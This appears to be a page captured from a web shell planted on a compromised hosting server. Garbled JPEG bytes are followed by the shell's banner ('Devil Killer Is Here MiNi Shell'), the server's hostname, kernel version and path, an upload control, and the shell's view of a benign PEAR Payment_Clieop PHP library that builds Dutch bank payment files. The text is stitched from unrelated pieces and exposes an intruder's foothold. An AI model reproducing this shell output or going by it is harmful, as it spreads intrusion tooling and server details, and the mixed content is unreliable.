JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/Payment_Clieop/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.3.3/lib/php/Payment_Clieop/clieop.php

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Dave Mertens <dmertens@zyprexia.com>                        |
// +----------------------------------------------------------------------+
//
// $Id: clieop.php,v 1.14 2003/01/28 14:29:52 zyprexia Exp $
/*
 Please note that public function names are partly in Dutch. This is because 
 also the clieop data strings has a dutch names. (batchvoorloopinfo, transactieinfo, etc).
 */

/**
* Main clieop class
*
* @version $Revision: 1.14 $
* @access public
* @author Dave Mertens <dmertens@zyprexia.com>
* @package Payment_Clieop
*/
class ClieopPayment extends clieop_baseobject
{
	/**
	* @var string
	* @access private
	*/
	var $_SenderIdent;

	/**
	* @var string
	* @access private
	*/
	var $_FileIdent;

	/**
	* @var string
	* @access private
	*/
	var $_TransactionType;

	/**
	* @var string
	* @access private
	*/
	var $_ClieopText;

	/**
	* @var string
	* @access private
	*/
	var $_PrincipalAccountNumber;

	/**
	* @var string
	* @access private
	*/
	var $_PrincipalName;

	/**
	* @var integer
	* @access private
	*/
	var $_BatchNumber;

	/**
	* @var integer
	* @access private
	*/
	var $_TransactionCount;

	/**
	* @var integer
	* @access private
	*/
	var $_TotalAmount;

	/**
	* @var string
	* @access private
	*/
	var $_AccountChecksum;

	/**
	* @var string
	* @access private
	*/
	var $_Description;

	/**
	* @var date (in DDMMYY format)
	* @access private
	*/
	var $_ProcessDate;

	/**
	* @var boolean
	* @access private
	*/
	var $_Test;

	/**
	* @var string
	* @access private
	*/
	var $_TransactionText;

	/**
	* Constructor for class
	* @return void
	* @access public
	*/
	function clieopPayment()
	{
		//init vars
		$this->_ProcessDate = "000000";	//process ASAP
		$this->_BatchNumber = 1;
		$this->_Test = "T";
		return 1;
	}

	/**
	* Adds a payment record to the clieop file
	* @param object paymentObject	- Instance of transactionPayment
	* @access public
	* @return void
	*/
	function addPayment($paymentObject)
	{
		//Only one type of transaction is allowed in a clieop
		if ($this->_TransactionType == $paymentObject->getPaymentType())
		{
			//transactieinfo (0100)
			$text = $this->writeTransactieInfo($paymentObject->getTransactionType(),
				$paymentObject->getAmount(),
				$paymentObject->getAccountNumberSource(),
				$paymentObject->getAccountNumberDest());
				
			// Debtor name ans city
			if (strtoupper($this->_TransactionType) == "DEBTOR")
			{
				//name of debtor (0110)
				$text .= $this->writeNaambetalerInfo($paymentObject->getName());

				//city of debtor (0113)
				$text .= $this->writeWoonplaatsbetalerInfo($paymentObject->getCity());
			}
			
			//betalings kenmerk (0150)
			$text .= $this->writeBetalingskenmerkInfo($paymentObject->getInvoiceReference());
			
			//maximum 4 description lines (0160)
			$descArray = $paymentObject->getDescription();
			while(list($id,$desc) = each($descArray))
			{	
				$text .= $this->writeOmschrijvingInfo($desc);	
			}
			
			//routine splits here into creditor and debtor
			if (strtoupper($this->_TransactionType) == "CREDITOR")
			{
					//name of creditor (0170)
					$text .= $this->writeNaambegunstigdeInfo($paymentObject->getName());
			
					//city of creditor (0173)
					$text .= $this->writeWoonplaatsbegunstigdeInfo($paymentObject->getCity());
			}
			
			//do some calculations
			$this->_NumberOfTransactions++;
			//accoutnumber checksum
			$this->_AccountChecksum += (int)$paymentObject->getAccountNumberSource() + (int)$paymentObject->getAccountNumberDest();
			$this->_TotalAmount += $paymentObject->getAmount();
		}
		$this->_TransactionText .= $text;
	}
	
	/**
	* Writes complete clieop file
	* @access public
	* @return string
	*/
	function writeClieop()
	{
		$text  = $this->writeBestandsvoorloopInfo($this->_SenderIdent, $this->_BatchNumber);
		$text .= $this->writeBatchvoorloopInfo($this->_PrincipalAccountNumber, $this->_BatchNumber);
		$text .= $this->writeVasteomschrijvingInfo($this->_FixedDescription);
		$text .= $this->writeOpdrachtgeverInfo($this->_ProcessDate, $this->_PrincipalName);
		$text .= $this->_TransactionText;
		$text .= $this->writeBatchsluitInfo();
		$text .= $this->writeBestandssluitInfo();
		
		//return clieop file
		return $text;
	}
	
	/**
	* property BatchNumber
	* @param integer Value	- Number of batches send to day (including this one)
	* @return string
	* @access public
	*/
	function getBatchNumber()
	{
		return $this->_BatchNumber;
	}
	function setBatchNumber($Value)
	{
		$this->_BatchNumber = $Value;
	}
	
	/**
	* property FixedDescription
	* @param string Value	- Description which will be added to each transaction payment
	* @return string
	* @access public
	*/
	function getFixedDescription()
	{
		return $this->_FixedDescription;
	}
	function setFixedDescription($Value)
	{
		$this->_FixedDescription = $Value;
	}
	
	/**
	* property SenderIdentification
	* @param string Value	- Identification of sender, free of choice
	* @return string
	* @access public
	*/
	function getSenderIdentification()
	{
		return $this->_SenderIdent;
	}
	function setSenderIdentification($Value)
	{
		$this->_SenderIdent = $Value;
	}
	
	/**
	* property PrincipalName
	* @param string Value	- Name of principal
	* @return string
	* @access public
	*/
	function getPrincipalName()
	{
		return $this->_PrincipalName;
	}
	function setPrincipalName($Value)
	{
		$this->_PrincipalName = $Value;
	}
	
	/**
	* property PrincipalAccountNumber
	* @param string Value	- Account number of principal
	* @return string
	* @access public
	*/
	function getPrincipalAccountNumber()
	{
		return $this->_PrincipalAccountNumber;
	}
	function setPrincipalAccountNumber($Value)
	{
		$this->_PrincipalAccountNumber = $Value;
	}
	
	/**
	* property TransactionType
	* @param string Value	- transaction type
	* @return string
	* @access public
	*/
	function getTransactionType()
	{
		return $this->_TransactionType;
	}
	function setTransactionType($Value)
	{
		switch($Value)
		{
			case "00":	//BETALING
				$this->_TransactionType = "CREDITOR";
				$this->_TransactionCode = "00";
				break;
			case "10":	//INCASSO
				$this->_TransactionType = "DEBTOR";
				$this->_TransactionCode = "10";
				break;
		}
	}
	
	/**
	* property Test
	* @param boolean Value	- true = test clieop, false = production clieop
	* @return string
	* @access public
	*/
	function getTest()
	{
		return $this->_Test;
	}
	function setTest($Value)
	{
		if ($Value == false)
			$this->_Test = "P";	//production clieop
		else
			$this->_Test = "T";	//test clieop
	}
		
	
	/**
	* INFOCODE: 0100
	* Writes transaction header
	* @param string transType			- Type of transaction ('0000' for betaling, '1002' for incasso)
	* @param integer amount				- Payment amount in Eurocents
	* @param string accountNumberSource	- Source bankaccount number 
	* @param string accountNumberDest	- Destination bankaccount number
	* @access private
	* @return string
	*/
	function writeTransactieInfo($transType, $amount, $accountNumberSource, $accountNumberDest)
	{
		$text  = "0100";										//infocode
		$text .= "A";											//variantcode
		$text .= $this->numFiller($transType, 4);				//transactiesoort
		$text .= $this->numFiller($amount, 12);					//Bedrag
		$text .= $this->numFiller($accountNumberSource, 10);	//Reknr betaler
		$text .= $this->numFiller($accountNumberDest, 10);		//Reknr begunstigde
		$text .= $this->filler(9);
		
		//return clieop line
		return $text;
	}
	
	/**
	* INFOCODE: 0150
	* Writes invoice reference clieop line
	* @param string invoiceReference	- Reference of invoice
	* @access private
	* @return string
	*/
	function  writeBetalingskenmerkInfo($invoiceReference)
	{
		$text  = "0150";									//infocode
		$text .= "A";										//variantcode
		$text .= $this->alfaFiller($invoiceReference, 16);	//betalings kenmerk
		$text .= $this->filler(29);
		
		//return clieop line
		if (strlen($invoiceReference) > 0) return $text;	//only return string if there's really a value
	}	

	/**
	* INFOCODE: 0160
	* Writes an description for the clieop file
	* @param string description	- Description of payment (Can be called maximum 4 times!)
	* @access private
	* @return string
	*/
	function writeOmschrijvingInfo($description)
	{
		$text  = "0160";									//infocode
		$text .= "A";										//variantcode
		$text .= $this->alfaFiller($description, 32);		//omschrijving van post
		$text .= $this->filler(13);
		
		//return clieop line
		return $text;
	}
	
	/**
	* INFOCODE: 0170
	* Write the creditor name record 
	* @param string name 	- Name of creditor
	* @access private
	* @return string
	*/
	function writeNaambegunstigdeInfo($name)
	{
		$text  = "0170";									//infocode
		$text .= "B";										//variantcode
		$text .= $this->alfaFiller($name, 35);				//naam begunstigde
		$text .= $this->filler(10);
		
		//reurn clieop line
		return $text;
	}

	/**
	* INFOCODE: 0173
	* Write the creditor city record 
	* @param string city 	- City of creditor
	* @access private
	* @return string
	*/
	function writeWoonplaatsbegunstigdeInfo($city)
	{
		$text  = "0173";									//infocode
		$text .= "B";										//variantcode
		$text .= $this->alfaFiller($city, 35);				//woonplaats begunstigde
		$text .= $this->filler(10);
		
		//reurn clieop line
		return $text;
	}
	/**
	* INFOCODE: 0110
	* Write the debtor name record 
	* @param string name 	- Name of debtor
	* @access private
	* @return string
	*/
	function writeNaambetalerInfo($name)
	{
		$text  = "0110";									//infocode
		$text .= "B";										//variantcode
		$text .= $this->alfaFiller($name, 35);				//naam betaler
		$text .= $this->filler(10);
		
		//reurn clieop line
		return $text;
	}

	/**
	* INFOCODE: 0113
	* Write the debtor city record 
	* @param string city 	- City of debtor
	* @access private
	* @return string
	*/
	function writeWoonplaatsbetalerInfo($city)
	{
		$text  = "0113";									//infocode
		$text .= "B";										//variantcode
		$text .= $this->alfaFiller($city, 35);				//woonplaats betaler
		$text .= $this->filler(10);
		
		//reurn clieop line
		return $text;
	}
	
	/**
	* INFOCODE: 0001
	* Write clieop header 
	* @param string identifier	- 5 char sender identification (free of choice)
	* @param integer batchCount	- Numbers of clieop batches send today + 1
	* @access private
	* @return string
	*/
	function writeBestandsvoorloopInfo($identifier, $batchCount)
	{
		$text  = "0001";										//infocode
		$text .= "A";											//variantcode
		$text .= date("dmy");									//aanmaak datum
		$text .= "CLIEOP03";									//bestands naam
		$text .= $this->alfaFiller($identifier, 5);				//afzender identificatie
		$text .= date("d") . $this->numFiller($batchCount, 2);	//bestands identificatie 
		$text .= "1";											//duplicaat code
		$text .= $this->filler(21);	
		
		//return cliep line
		return $text;
	}
	
	/**
	* INFOCODE: 9999
	* Write clieop footer 
	* @access private
	* @return string
	*/
	function writeBestandssluitInfo()
	{
		$text  = "9999";									//infocode
		$text .= "A";										//variantcode
		$text .= $this->filler(45);
		
		//return cleip line
		return $text;
	}
	
	/**
	* INFOCODE: 0010
	* Write clieop batchvoorloopinfo
	* @param string principalAccountNumber	- Account number of principal
	* @param integer batchCount				- Number of batches send this month (including this one) 
	* @access private
	* @return string
	*/
	function writeBatchvoorloopInfo($principalAccountNumber, $batchCount)
	{	
		$text  = "0010";										//infocode
		$text .= "B";											//variantcode
		$text .= $this->numFiller($this->_TransactionCode, 2);	//transactiegroep (00 = betaling, 10 = incasso)
		$text .= $this->numFiller($principalAccountNumber, 10);	//rekening nummer opdrachtgever
		$text .= $this->numFiller($batchCount, 4);				//batch volgnummer
		$text .= "EUR";											//aanlevering muntsoort
		$text .= $this->filler(26);
		
		//return clieop line
		return $text;
	}
	
	/**
	* INFOCODE: 0020
	* Write clieop batchvoorloopinfo
	* @access string description	- Fixed description for all payments
	* @access private
	* @return string
	*/
	function writeVasteomschrijvingInfo($description)
	{
		$text  = "0020";										//infocode
		$text .= "A";											//variantcode
		$text .= $this->alfaFiller($description, 32);			//vaste omschrijving
		$text .= $this->filler(13);
		
		//return clieop line
		if (strlen($description) > 0) return $text;				//only return string if there is REALLY a description
	}

	/**
	* INFOCODE: 0030
	* Write opdrachtegever clieop line
	* @param date processDate		- Process date in DDMMYY-format
	* @param string principalName	- Name of pricipal
	* @access private
	* @return string
	*/
	function writeOpdrachtgeverInfo($processDate, $principalName)
	{
		$text  = "0030";										//infocode
		$text .= "B";											//variantcode
		$text .= "1";											//NAWcode
		$text .= $this->numFiller($processdate, 6);				//verwerkings datum
		$text .= $this->alfaFiller($principalName, 35);			//naam opdracht gever
		$text .= $this->_Test;									//TESTcode (T = Test, P = Productie)
		$text .= $this->filler(2);
		
		//return clieop line
		return $text;
	}
	
	/**
	* INFOCODE: 9990
	* Write clieop batchsluitinfo
	* @access private
	* @return string
	*/
	function writeBatchsluitInfo()
	{
		$text  = "9990";											//infocode
		$text .= "A";												//variantcode
		$text .= $this->numFiller($this->_TotalAmount, 18);			//Totaalbedrag clieop
		$text .= $this->numFiller($this->_AccountChecksum, 10);		//checksum van rekeningnummers
		$text .= $this->numFiller($this->_NumberOfTransactions, 7);	//Aantal transactie posten
		$text .= $this->filler(10);
		
		//return clieop line
		return $text;
	}
}


/**
*	master object for clieop objects
*
* @version $Revision: 1.14 $
* @access private
* @author Dave Mertens <dmertens@zyprexia.com>
* @package Payment_Clieop
*/
class clieop_baseobject
{

	/**
	* Alfa numeric filler
	* @param string text	- Text which needs to filled up
	* @param integer length	- The length of the required text
	* @return string
	* @access public
	*/
	function alfaFiller($text, $length)
	{
		//how many spaces do we need?
		$alfaLength = abs($length - strlen($text));
		
		//return string with spaces on right side
		return substr($text . str_repeat(" ", $alfaLength), 0, $length);
	}
	
	/**
	* Numeric filler
	* @param string number	- number which needs to filled up (Will be converted to a string)
	* @param integer length	- The length of the required number
	* @return string
	* @access public
	*/
	function numFiller($number, $length)
	{
		//how many zeros do we need
		settype($number, "string");		//We need to be sure that number is a string. 001 will otherwise be parsed as 1
		$numberLength = abs($length - strlen($number));
		
		//return original number woth zeros on the left
		return substr(str_repeat("0", $numberLength) . $number, -$length);
	}
	
	/**
	* filler
	* @param integer length	- How many filler spaces do we need
	* @return string
	* @access public
	*/
	function filler($Length)
	{
		return str_repeat(" ", $Length) . "\n";
	}
}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com